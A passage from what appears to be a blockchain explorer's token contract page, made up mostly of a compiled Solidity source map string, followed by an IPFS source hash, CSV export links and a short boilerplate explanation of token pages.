:17;7965:43;;;7988:18;;:::i;:::-;-1:-1:-1;;8044:1:1;8030:16;;8059:5;;7856:218;;8158:2;8148:8;8145:16;8139:3;8133:4;8130:13;8126:36;8120:2;8110:8;8107:16;8102:2;8096:4;8093:12;8089:35;8086:77;8083:159;;;-1:-1:-1;8195:19:1;;;8227:5;;8083:159;8274:34;8299:8;8293:4;8274:34;:::i;:::-;8344:6;8340:1;8336:6;8332:19;8323:7;8320:32;8317:58;;;8355:18;;:::i;:::-;8393:20;;7613:806;-1:-1:-1;;;7613:806:1:o;8424:140::-;8482:5;8511:47;8552:4;8542:8;8538:19;8532:4;8511:47;:::i;8569:168::-;8642:9;;;8673;;8690:15;;;8684:22;;8670:37;8660:71;;8711:18;;:::i;9097:251::-;9167:6;9220:2;9208:9;9199:7;9195:23;9191:32;9188:52;;;9236:1;9233;9226:12;9188:52;9268:9;9262:16;9287:31;9312:5;9287:31;:::i;9662:607::-;-1:-1:-1;;;;;10021:15:1;;;10003:34;;10068:2;10053:18;;10046:34;;;;10111:2;10096:18;;10089:34;;;;10154:2;10139:18;;10132:34;;;;10203:15;;;10197:3;10182:19;;10175:44;9983:3;10235:19;;10228:35;;;;9952:3;9937:19;;9662:607::o;10274:306::-;10362:6;10370;10378;10431:2;10419:9;10410:7;10406:23;10402:32;10399:52;;;10447:1;10444;10437:12;10399:52;10476:9;10470:16;10460:26;;10526:2;10515:9;10511:18;10505:25;10495:35;;10570:2;10559:9;10555:18;10549:25;10539:35;;10274:306;;;;;:::o;10864:277::-;10931:6;10984:2;10972:9;10963:7;10959:23;10955:32;10952:52;;;11000:1;10997;10990:12;10952:52;11032:9;11026:16;11085:5;11078:13;11071:21;11064:5;11061:32;11051:60;;11107:1;11104;11097:12;11552:461;11605:3;11643:5;11637:12;11670:6;11665:3;11658:19;11696:4;11725:2;11720:3;11716:12;11709:19;;11762:2;11755:5;11751:14;11783:1;11793:195;11807:6;11804:1;11801:13;11793:195;;;11872:13;;-1:-1:-1;;;;;11868:39:1;11856:52;;11928:12;;;;11963:15;;;;11904:1;11822:9;11793:195;;;-1:-1:-1;12004:3:1;;11552:461;-1:-1:-1;;;;;11552:461:1:o;12018:510::-;12289:6;12278:9;12271:25;12332:3;12327:2;12316:9;12312:18;12305:31;12252:4;12353:57;12405:3;12394:9;12390:19;12382:6;12353:57;:::i;:::-;-1:-1:-1;;;;;12446:32:1;;;;12441:2;12426:18;;12419:60;-1:-1:-1;12510:2:1;12495:18;12488:34;12345:65;12018:510;-1:-1:-1;;12018:510:1:o;15247:217::-;15287:1;15313;15303:132;;15357:10;15352:3;15348:20;15345:1;15338:31;15392:4;15389:1;15382:15;15420:4;15417:1;15410:15;15303:132;-1:-1:-1;15449:9:1;;15247:217::o;16686:582::-;16985:6;16974:9;16967:25;17028:6;17023:2;17012:9;17008:18;17001:34;17071:3;17066:2;17055:9;17051:18;17044:31;16948:4;17092:57;17144:3;17133:9;17129:19;17121:6;17092:57;:::i;:::-;-1:-1:-1;;;;;17185:32:1;;;;17180:2;17165:18;;17158:60;-1:-1:-1;17249:3:1;17234:19;17227:35;17084:65;16686:582;-1:-1:-1;;;16686:582:1:o
Swarm Source
ipfs://a7916e44006edf19c80a470c7b82f2fbe9f5b87b2eca73a1fe1ecba9e566d79f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.